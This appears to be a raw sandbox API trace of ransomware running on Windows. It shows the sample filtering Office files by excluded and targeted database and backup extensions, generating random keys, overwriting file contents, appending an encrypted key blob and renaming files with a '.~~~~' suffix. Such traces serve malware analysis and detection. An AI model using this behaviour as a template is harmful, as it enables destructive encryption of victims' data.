	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".myd") returned 0x0
	[0142.104] lstrlenW (lpString=".DTXS") returned 5
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.104] lstrlenW (lpString=".ckp") returned 4
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".ckp") returned 0x0
	[0142.104] lstrlenW (lpString=".dbt") returned 4
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dbt") returned 0x0
	[0142.104] lstrlenW (lpString=".db") returned 3
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".db") returned 0x0
	[0142.104] lstrlenW (lpString=".TXT") returned 4
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".TXT") returned 0x0
	[0142.104] lstrlenW (lpString=".MDF") returned 4
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".MDF") returned 0x0
	[0142.104] lstrlenW (lpString=".bdb") returned 4
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".bdb") returned 0x0
	[0142.104] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.104] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.105] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.106] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.106] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26209596721) returned 1
	[0142.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe1aa7d0, dwHighDateTime=0x1d60e1e)) 
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3808
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9018
	[0142.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0142.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0142.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.107] GetLastError () returned 0x0
	[0142.107] GetLastError () returned 0x0
	[0142.107] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.107] GetLastError () returned 0x0
	[0142.108] GetLastError () returned 0x0
	[0142.108] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x6054, lpOverlapped=0x0) returned 1
	[0142.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9fac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.111] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x6054, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x6054, lpOverlapped=0x0) returned 1
	[0142.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.111] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.111] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.111] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.112] CloseHandle (hObject=0x138) returned 1
	[0142.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9018
	[0142.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif.~~~~")) returned 1
	[0142.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0142.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.114] GetLastError () returned 0x0
	[0142.114] RtlWakeConditionVariable () returned 0x0
	[0142.114] GetCurrentThreadId () returned 0x9f4
	[0142.114] GetCurrentThreadId () returned 0x9f4
	[0142.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0142.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c68d8 | out: hHeap=0x300000) returned 1
	[0142.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0142.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c68d8
	[0142.115] lstrlenW (lpString=".scr") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".scr") returned 0x0
	[0142.115] lstrlenW (lpString=".cmd") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".cmd") returned 0x0
	[0142.115] lstrlenW (lpString=".dll") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dll") returned 0x0
	[0142.115] lstrlenW (lpString=".bat") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".bat") returned 0x0
	[0142.115] lstrlenW (lpString=".cpl") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".cpl") returned 0x0
	[0142.115] lstrlenW (lpString=".sys") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".sys") returned 0x0
	[0142.115] lstrlenW (lpString=".msc") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".msc") returned 0x0
	[0142.115] lstrlenW (lpString=".com") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".com") returned 0x0
	[0142.115] lstrlenW (lpString=".lnk") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".lnk") returned 0x0
	[0142.115] lstrlenW (lpString=".msp") returned 4
	[0142.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".msp") returned 0x0
	[0142.116] lstrlenW (lpString=".pif") returned 4
	[0142.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".pif") returned 0x0
	[0142.116] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.118] lstrlenW (lpString=".sqb") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".sqb") returned 0x0
	[0142.118] lstrlenW (lpString=".ost") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".ost") returned 0x0
	[0142.118] lstrlenW (lpString=".txt") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".txt") returned 0x0
	[0142.118] lstrlenW (lpString=".mdt") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".mdt") returned 0x0
	[0142.118] lstrlenW (lpString=".BDB") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".BDB") returned 0x0
	[0142.118] lstrlenW (lpString=".eql") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".eql") returned 0x0
	[0142.118] lstrlenW (lpString=".DBF") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DBF") returned 0x0
	[0142.118] lstrlenW (lpString=".EQL") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".EQL") returned 0x0
	[0142.118] lstrlenW (lpString=".FDB") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".FDB") returned 0x0
	[0142.118] lstrlenW (lpString=".EDB") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".EDB") returned 0x0
	[0142.118] lstrlenW (lpString=".DACPAC") returned 7
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.118] lstrlenW (lpString=".VHD") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".VHD") returned 0x0
	[0142.118] lstrlenW (lpString=".DBV") returned 4
	[0142.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DBV") returned 0x0
	[0142.119] lstrlenW (lpString=".dacpac") returned 7
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.119] lstrlenW (lpString=".sdf") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".sdf") returned 0x0
	[0142.119] lstrlenW (lpString=".accdb") returned 6
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".accdb") returned 0x0
	[0142.119] lstrlenW (lpString=".DBX") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DBX") returned 0x0
	[0142.119] lstrlenW (lpString=".MDT") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".MDT") returned 0x0
	[0142.119] lstrlenW (lpString=".SQB") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".SQB") returned 0x0
	[0142.119] lstrlenW (lpString=".vhd") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".vhd") returned 0x0
	[0142.119] lstrlenW (lpString=".bac") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".bac") returned 0x0
	[0142.119] lstrlenW (lpString=".mdf") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".mdf") returned 0x0
	[0142.119] lstrlenW (lpString=".BAK") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".BAK") returned 0x0
	[0142.119] lstrlenW (lpString=".BAC") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".BAC") returned 0x0
	[0142.119] lstrlenW (lpString=".dbs") returned 4
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dbs") returned 0x0
	[0142.119] lstrlenW (lpString=".vhdx") returned 5
	[0142.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.120] lstrlenW (lpString=".NDF") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".NDF") returned 0x0
	[0142.120] lstrlenW (lpString=".dat") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dat") returned 0x0
	[0142.120] lstrlenW (lpString=".DBS") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DBS") returned 0x0
	[0142.120] lstrlenW (lpString=".CKP") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".CKP") returned 0x0
	[0142.120] lstrlenW (lpString=".edb") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".edb") returned 0x0
	[0142.120] lstrlenW (lpString=".PST") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".PST") returned 0x0
	[0142.120] lstrlenW (lpString=".dbf") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dbf") returned 0x0
	[0142.120] lstrlenW (lpString=".SQL") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".SQL") returned 0x0
	[0142.120] lstrlenW (lpString=".pst") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".pst") returned 0x0
	[0142.120] lstrlenW (lpString=".dbv") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dbv") returned 0x0
	[0142.120] lstrlenW (lpString=".SDF") returned 4
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".SDF") returned 0x0
	[0142.120] lstrlenW (lpString=".dtxs") returned 5
	[0142.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.120] lstrlenW (lpString=".db3") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".db3") returned 0x0
	[0142.121] lstrlenW (lpString=".OST") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".OST") returned 0x0
	[0142.121] lstrlenW (lpString=".dbx") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dbx") returned 0x0
	[0142.121] lstrlenW (lpString=".DB3") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DB3") returned 0x0
	[0142.121] lstrlenW (lpString=".DAT") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DAT") returned 0x0
	[0142.121] lstrlenW (lpString=".VHDX") returned 5
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.121] lstrlenW (lpString=".ndf") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".ndf") returned 0x0
	[0142.121] lstrlenW (lpString=".DB") returned 3
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DB") returned 0x0
	[0142.121] lstrlenW (lpString=".sql") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".sql") returned 0x0
	[0142.121] lstrlenW (lpString=".MYD") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".MYD") returned 0x0
	[0142.121] lstrlenW (lpString=".DBT") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DBT") returned 0x0
	[0142.121] lstrlenW (lpString=".ACCDB") returned 6
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.121] lstrlenW (lpString=".fdb") returned 4
	[0142.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".fdb") returned 0x0
	[0142.122] lstrlenW (lpString=".bak") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".bak") returned 0x0
	[0142.122] lstrlenW (lpString=".myd") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".myd") returned 0x0
	[0142.122] lstrlenW (lpString=".DTXS") returned 5
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.122] lstrlenW (lpString=".ckp") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".ckp") returned 0x0
	[0142.122] lstrlenW (lpString=".dbt") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".dbt") returned 0x0
	[0142.122] lstrlenW (lpString=".db") returned 3
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".db") returned 0x0
	[0142.122] lstrlenW (lpString=".TXT") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".TXT") returned 0x0
	[0142.122] lstrlenW (lpString=".MDF") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".MDF") returned 0x0
	[0142.122] lstrlenW (lpString=".bdb") returned 4
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".bdb") returned 0x0
	[0142.122] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.122] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.124] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.124] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.124] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26211397511) returned 1
	[0142.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe1d0930, dwHighDateTime=0x1d60e1e)) 
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a37d0
	[0142.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
